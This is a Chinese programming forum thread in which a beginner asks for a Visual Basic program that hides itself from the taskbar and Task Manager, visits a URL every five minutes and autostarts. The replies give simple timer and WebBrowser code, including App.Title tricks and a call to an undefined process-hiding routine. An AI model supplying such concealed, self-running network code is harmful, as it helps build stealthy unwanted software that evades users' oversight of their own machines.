问一个VB的简单的代码,请回答~谢谢

Posted 2023-02-15

才玩VB,想写一个"要在后台隐藏运行（任务栏和任务管理器不显示，进程显不显示无所谓）还要定时连接某个网址~（每5分钟刷新一次）的程序,最好还能能开机自启动...

-----------------------------------------------------------
这个代码是我搜到的,可以么?我试验了,好象有问题吧...
Private Sub Form_Load()
Me.Timer1.Interval = 10 * 60 * 1000
Me.Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Me.WebBrowser1.Navigate "http://网址"
End Sub
--------------------------------------------------------
请各位给出代码！
谢谢！！

'需添加部件“工程》部件》Microsoft Internet Controls
'添加一个"WebBrowser"和一个"Timer"

Private Sub Form_Load()
App.Title = "" '这样可以很方便地将程序从任务管理器的应用程序界面隐藏
Call HideCurrentProcess '隐藏进程
Hide '隐藏窗口
Timer1.Interval = 60000 '定义时间间隔1分钟...
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Static a As Integer
a = a + 1
If a = 5 Then WebBrowser1.Navigate "http://www.baidu.com": a = 0 '每5分钟执行一次，只需修改引号内网址就行。

*************************
不懂给我留言 参考技术A 没用的,老兄,用VB做病毒是最无聊的,用WebBrowser控件,那你的程序发过去是运行不起来的,建议你去学学VC,VB应该做应用系统之类的玩意!!!!!!!! 参考技术B Me.Timer1.Interval 的值最大为65536,10 * 60 * 1000 >65536
错误就在这
应该改为
Private Sub Form_Load()
Me.Timer1.Interval=60000
Me.Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
static a as integer
a=a+1
if a=5 then Me.WebBrowser1.Navigate "http://网址" : a=0
End Sub 参考技术C 用下面的 嘿嘿!

Private Sub Form_Load()
Me.Timer1.Interval = 5*60*1000'5 是定义时间间隔 改为7就是间隔7分钟
Me.Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Shell "cmd /c start www.163.com"
End Sub 参考技术D 我除了看见这是每10分钟就访问一次的代码之外（二、这段程序是用vb.net的人写的），也看不出来什么问题。
最好用消息告诉我是什么问题。
